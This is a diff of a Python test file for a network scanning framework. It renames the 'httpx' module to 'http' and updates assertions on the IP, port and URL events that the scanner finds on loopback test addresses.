-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"])
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"])
 
-    # httpx/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1
+    # http/speculate IP_RANGE --> IP_ADDRESS --> OPEN_TCP_PORT --> URL, search distance = 1
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
         "127.0.0.1/31",
-        modules=["httpx"],
+        modules=["http"],
         _config={
             "dns": {"minimal": False, "search_distance": 2},
             "scope": {"report_distance": 1, "search_distance": 1},
             "excavate": True,
             "speculate": True,
-            "modules": {"httpx": {"in_scope_only": False}, "speculate": {"ports": "8888"}},
+            "modules": {"http": {"in_scope_only": False}, "speculate": {"ports": "8888"}},
             "omit_event_types": ["HTTP_RESPONSE", "URL_UNVERIFIED"],
         },
     )
@@ -488,16 +462,16 @@ def custom_setup(scan):
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
 
     assert len(all_events) == 22
     assert 1 == len([e for e in all_events if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
@@ -505,20 +479,20 @@ def custom_setup(scan):
     assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0])
     assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3])
 
     assert len(all_events_nodups) == 20
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_RANGE" and e.data == "127.0.0.0/31" and e.internal is False and e.scope_distance == 0])
@@ -526,20 +500,20 @@ def custom_setup(scan):
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1 and "spider-danger" in e.tags])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.88" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.88:8888" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.88:8888/" and e.internal is True and e.scope_distance == 2])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.99:8888/" and e.internal is True and e.scope_distance == 3])
 
     for _graph_output_events in (graph_output_events, graph_output_batch_events):
         assert len(_graph_output_events) == 8
@@ -548,23 +522,25 @@ def custom_setup(scan):
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.0:8888"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.1:8888" and e.internal is False and e.scope_distance == 0])
-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.1:8888/" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.1:8888"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.1:8888/"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.77:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.1:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.77:8888/"])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.77" and e.internal is False and e.scope_distance == 1])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.77:8888"])
-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.77:8888/" and e.internal is False and e.scope_distance == 1])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.77:8888/"])
         assert 0 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.88"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.88:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.88:8888/"])
 
     # 2 events from a single HTTP_RESPONSE
     events, all_events, all_events_nodups, graph_output_events, graph_output_batch_events = await do_scan(
         "127.0.0.111/31",
-        whitelist=["127.0.0.111/31", "127.0.0.222", "127.0.0.33"],
-        modules=["httpx"],
-        output_modules=["python"],
+        "127.0.0.222",
+        "127.0.0.33",
+        seeds=["127.0.0.111/31"],
+        modules=["http"],
+        exclude_output_modules=["csv", "json", "txt"],
         _config={
             "dns": {"minimal": False, "search_distance": 2},
             "scope": {"search_distance": 0, "report_distance": 0},
@@ -581,24 +557,24 @@ def custom_setup(scan):
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"])
     assert 1 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"])
     assert 1 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.222:8889"])
-    assert 1 == len([e for e in events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
     assert 0 == len([e for e in events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.33:8889"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/"])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44"])
-    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/"])
+    assert 0 == len([e for e in events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/"])
     assert 0 == len([e for e in events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888"])
     assert 0 == len([e for e in events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888"])
@@ -609,12 +585,12 @@ def custom_setup(scan):
     assert 2 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0])
     assert 2 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0])
@@ -622,13 +598,13 @@ def custom_setup(scan):
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1])
@@ -639,24 +615,24 @@ def custom_setup(scan):
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.222" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.33" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888" and e.internal is True and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889" and e.internal is True and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.222:8889/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.data == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL" and e.url == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
     assert 1 == len([e for e in all_events_nodups if e.type == "HTTP_RESPONSE" and e.data["url"] == "http://127.0.0.33:8889/" and e.internal is False and e.scope_distance == 0])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.44:8888/" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.44" and e.internal is True and e.scope_distance == 1])
-    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1])
+    assert 1 == len([e for e in all_events_nodups if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.55:8888/" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "IP_ADDRESS" and e.data == "127.0.0.55" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.44:8888" and e.internal is True and e.scope_distance == 1])
     assert 1 == len([e for e in all_events_nodups if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.55:8888" and e.internal is True and e.scope_distance == 1])
@@ -668,65 +644,73 @@ def custom_setup(scan):
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.111" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.110:8888"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.111:8888" and e.internal is False and e.scope_distance == 0])
-        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.data == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
+        assert 1 == len([e for e in _graph_output_events if e.type == "URL" and e.url == "http://127.0.0.111:8888/" and e.internal is False and e.scope_distance == 0])
         assert 0 == len([e for e in _graph_output_events if e.type == "HTTP_RESPONSE" and e.data["input"] == "127.0.0.111:8888"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.111:8888/"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.222:8889/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.111:8888/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.222:8889/"])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.222"])
-        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.data == "http://127.0.0.33:8889/"])
+        assert 0 == len([e for e in _graph_output_events if e.type == "URL_UNVERIFIED" and e.url == "http://127.0.0.33:8889/"])
         assert 1 == len([e for e in _graph_output_events if e.type == "IP_ADDRESS" and e.data == "127.0.0.33"])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8888"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.222:8889"])
         assert 0 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8888"])
         assert 1 == len([e for e in _graph_output_events if e.type == "OPEN_TCP_PORT" and e.data == "127.0.0.33:8889"])
